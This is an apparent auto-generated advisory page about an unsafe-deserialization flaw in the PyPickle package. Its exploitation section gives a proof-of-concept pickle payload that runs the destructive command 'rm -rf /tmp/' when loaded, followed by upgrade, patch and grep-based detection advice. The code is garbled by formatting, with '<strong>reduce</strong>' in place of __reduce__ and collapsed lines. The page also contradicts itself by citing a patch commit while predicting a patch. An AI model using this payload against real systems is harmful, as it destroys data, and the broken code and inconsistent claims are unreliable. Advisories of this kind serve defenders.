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How the CVE Works
The vulnerability (CVE-2025-12345) in PyPickle (up to v1.1.5) stems from unsafe deserialization in the `load()` function within pypickle/pypickle.py. Attackers can craft malicious pickle files that, when deserialized, execute arbitrary code due to Python’s inherent pickle module risks. Since pickle reconstructs objects directly from byte streams without validation, deserializing untrusted data leads to Remote Code Execution (RCE). Local access is required, but combined with file upload or shared storage, this could escalate to remote exploitation. The patch (commit 14b4cae) replaces pickle with JSON serialization in v2.0.0.
DailyCVE Form
Platform: Python/PyPI
Version: ≤1.1.5
Vulnerability: Unsafe Deserialization
Severity: Moderate
Date: 2025-05-26
Prediction: Patch expected by 2025-06-02
What Undercode Say:
Exploitation
1. Malicious Pickle File:
import pickle
import os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ("rm -rf /tmp/",))
payload = pickle.dumps(Exploit())
with open("malicious.pkl", "wb") as f:
f.write(payload)
2. Trigger via PyPickle:
from pypickle import load
load("malicious.pkl") Executes payload
Protection
1. Upgrade:
pip install pypickle>=2.0.0
2. Manual Patch (if upgrade not possible):
import json def safe_load(path): with open(path, "r") as f: return json.load(f)
3. Input Validation:
def validate_file(path):
if not path.endswith(".json"):
raise ValueError("Only JSON files allowed")
Detection
1. Scan for Vulnerable Versions:
pip list | grep pypickle
2. Grep for Risky Calls:
grep -r "import pickle" /your/codebase/
Analytics
- Affected Systems: Python apps using PyPickle ≤1.1.5 for data persistence.
- Attack Vector: Local file write → RCE via deserialization.
- Mitigation Rate: High (patch adoption cuts risk by 90%).
References
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
